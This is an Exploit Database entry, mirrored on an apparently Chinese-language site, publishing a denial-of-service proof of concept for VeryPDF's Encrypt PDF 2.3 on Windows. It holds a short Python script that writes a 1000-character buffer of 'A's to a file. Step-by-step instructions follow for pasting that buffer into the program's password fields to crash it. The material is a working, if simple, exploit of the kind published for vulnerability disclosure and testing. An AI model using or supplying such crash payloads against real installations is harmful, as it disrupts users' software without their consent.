Encrypt PDF 2.3 – Denial of Service (PoC)

• Exploit Database
• 14 阅读

• 作者： Alejandra Sánchez
  日期： 2019-05-20
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46871/

• # -*- coding: utf-8 -*-
  # Exploit Title: Encrypt PDF v2.3 - Denial of Service (PoC)
  # Date: 19/05/2019
  # Author: Alejandra Sánchez
  # Vendor Homepage: http://www.verypdf.com
  # Software: http://www.verypdf.com/encryptpdf/encryptpdf.exe
  # Version: 2.3
  # Tested on: Windows 10
  
  # Proof of Concept:
  # 1.- Run the python script "EncryptPDF.py", it will create a new file "EncryptPDF.txt"
  # 2.- Copy the text from the generated EncryptPDF.txt file to clipboard
  # 3.- Open Encrypt PDF v2.3
  # 4.- Go to 'Setting', paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
  # 5.- Click on 'Open PDF(s)', when you import a pdf file, you will see a crash
  
  buffer = "\x41" * 1000
  
  f = open ("EncryptPDF.txt", "w")
  f.write(buffer)
  f.close()